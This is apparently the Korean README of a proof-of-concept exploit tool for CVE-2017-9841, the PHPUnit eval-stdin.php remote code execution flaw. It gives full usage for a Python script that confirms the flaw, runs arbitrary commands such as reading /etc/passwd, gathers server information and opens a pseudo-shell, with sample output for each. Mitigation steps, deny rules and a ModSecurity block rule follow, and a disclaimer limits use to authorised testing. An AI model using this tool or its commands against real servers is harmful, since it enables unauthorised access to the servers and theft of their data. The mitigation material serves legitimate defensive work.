
CVE-2017-9841은 PHPUnit 라이브러리의 RCE(원격 코드 실행) 취약점으로, 5.6.3 이전 버전과 6.4.2 이전의 6.x 버전에 영향을 미칩니다.
⚠️ 면책 조항: 이 도구는 교육 목적 및 승인된 보안 테스트 전용으로 제작되었습니다. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 대한 무단 사용은 불법입니다. 작성자는 이 도구의 오용으로 인한 어떠한 책임도 지지 않습니다.
CVE-2017-9841은 PHPUnit 라이브러리의 5.6.3 미만 및 6.4.2 미만의 6.x 버전에 영향을 미치는 원격 코드 실행(RCE) 취약점입니다.
이 취약점은 php://input(POST 본문)을 통해 수신된 PHP 코드를 eval() 함수로 실행하는 src/Util/PHP/eval-stdin.php 파일에 존재합니다. 이 파일이 공개적으로 접근 가능한 경우(예: 보호되지 않은 vendor/ 디렉토리 내), 공격자는 인증 없이 서버에서 임의의 PHP 코드를 실행할 수 있습니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2017-9841 |
| CVSS 점수 | 9.8 (치명적) |
| 영향 버전 | PHPUnit < 5.6.3, 6.x < 6.4.2 |
| 유형 | 원격 코드 실행(RCE) |
| 인증 | 불필요 |
| 공격 벡터 | 네트워크(원격) |
| 공개일 | 2017년 6월 27일 |
| 참고 | NVD |
// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));
이 파일은 POST 본문의 PHP 코드를 수신하여 인증이나 검증 없이 eval()을 통해 즉시 실행합니다.
requests 라이브러리pip install requests
git clone <repo-url>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py
python3 poc_cve-2017-9841.py -u <URL> [options]
-u 플래그는 기본 URL(취약한 경로가 자동으로 추가됨) 또는 eval-stdin.php를 직접 가리키는 전체 URL을 모두 허용합니다.
python3 poc_cve-2017-9841.py -u 'https://target.com' --check
출력:
[*] Target : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[*] Checking vulnerability on: ...
[+] File accessible (HTTP 200)
[+] VULNERABLE! Code execution confirmed.
[+] Response: VULN_CHECK_OK_2017_9841
# Single command
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'
# Multiple commands
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'
# Read a file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'
# Save output to file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o result.txt
python3 poc_cve-2017-9841.py -u 'https://target.com' --info
출력:
=== SERVER INFORMATION ===
PHP Version : 8.x.x
OS : Linux
SAPI : fpm-fcgi
User : www-data
Hostname : web-server-01
Server IP : 192.168.1.100
CWD : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Doc Root : /var/www/html/
Server SW : Apache
Memory Limit: 256M
Max Exec : 30s
Open Basedir: (none)
Disabled Fn : (none)
=== DANGEROUS FUNCTIONS ===
system: YES
exec: YES
passthru: YES
shell_exec: YES
proc_open: YES
popen: YES
curl_exec: YES
python3 poc_cve-2017-9841.py -u 'https://target.com' --shell
출력:
[*] Pseudo-shell (type 'exit' or 'quit' to leave)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root root 4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Exiting shell.
python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path
python3 poc_cve-2017-9841.py -u 'https://target.com' \
--path '/custom/path/eval-stdin.php' -c 'whoami'
python3 poc_cve-2017-9841.py \
-u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
-c 'whoami'
python3 poc_cve-2017-9841.py -u 'https://target.com' \
--php '<?php phpinfo(); ?>'
sudo rm /path/to/project/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
vendor/ 디렉토리 안에 .htaccess 파일을 추가하세요:
# /path/to/project/vendor/.htaccess
Deny from all
또는 Apache VirtualHost에 다음과 같이 구성하세요:
<Directory "/path/to/project/vendor">
Require all denied
</Directory>
Nginx의 경우:
location /vendor/ {
deny all;
return 403;
}
cd /path/to/project
composer install --no-dev --optimize-autoloader
disable_functions 활성화; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
open_basedir 활성화; /etc/php/8.4/fpm/php.ini or in VirtualHost
open_basedir = /var/www/html/project:/tmp
max_execution_time 축소max_execution_time = 30
sudo systemctl restart php8.4-fpm
# or
sudo systemctl restart php-fpm
composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit
ModSecurity 예제:
SecRule REQUEST_URI "eval-stdin\.php" \
"id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"
SecRule REQUEST_URI "/vendor/" \
"id:1000002,phase:1,deny,status:403,msg:'Block vendor directory access'"
# Example: GitHub Actions
- name: Install production dependencies only
run: composer install --no-dev --optimize-autoloader
- name: Remove test files and vulnerable scripts
run: |
rm -rf vendor/phpunit
rm -rf vendor/mockery
rm -rf tests/
find vendor -name "eval-stdin.php" -delete
┌──────────────────────────────┐
│ Attacker │
└──────────────┬───────────────┘
│ POST (PHP code)
▼
┌─────────────────────────────────────────────────────────────┐
│ Apache Server │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php │ │
│ │ │ │
│ │ eval('?>' . file_get_contents('php://input')); │ │
│ │ ▲ │ │
│ └───────────┼───────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ Arbitrary Code Execution │ │
│ │ │ │
│ │ - Read/Write files on the server │ │
│ │ - Access database credentials │ │
│ │ - Lateral movement to internal network │ │
│ │ - Install backdoors / webshells │ │
│ │ - Privilege escalation │ │
│ └───────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
다음 조건은 이 취약점의 심각도와 악용 가능성을 크게 높입니다:
이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
| 플래그 | 설명 |
|---|
-u, --url URL | 대상 기본 URL 또는 eval-stdin.php의 전체 URL |
-c, --cmd CMD | 대상 서버에서 실행할 CLI 명령 |
--check | 명령을 실행하지 않고 대상이 취약한지 확인 |
--shell | 의사 인터랙티브 셸 열기 |
--info | 서버 정보 수집(읽기 전용) |
--find-path | 일반적인 경로를 스캔하여 eval-stdin.php 찾기 |
--path PATH | eval-stdin.php의 사용자 지정 경로 지정 |
--timeout N | 요청 제한 시간(초 단위, 기본값: 30) |
-o, --output FILE | 명령 출력을 파일로 저장 |
--php CODE | 시스템 명령 대신 원시 PHP 코드 실행 |
| 요인 | 영향 |
|---|
disable_functions가 비어 있음 | 모든 PHP 함수 사용 가능(system, exec 등) |
open_basedir 미설정 | 공격자가 전체 파일시스템에서 파일 읽기/쓰기 가능 |
높은 max_execution_time | 공격자가 복잡한 페이로드에 요청당 더 많은 시간 확보 |
| FFI 확장 로드됨 | C 함수 직접 호출 가능, PHP 제한 우회 |
| 데이터베이스 확장 로드됨 | 직접 데이터베이스 연결 가능(mysqli, pgsql 등) |
| WAF 미배포 | 요청 필터링 또는 차단 없음 |
| IDS/IPS 미구축 | 이상 탐지 또는 경고 없음 |
| 프로덕션 환경의 개발 의존성 | 불필요하게 공격 표면 확대 |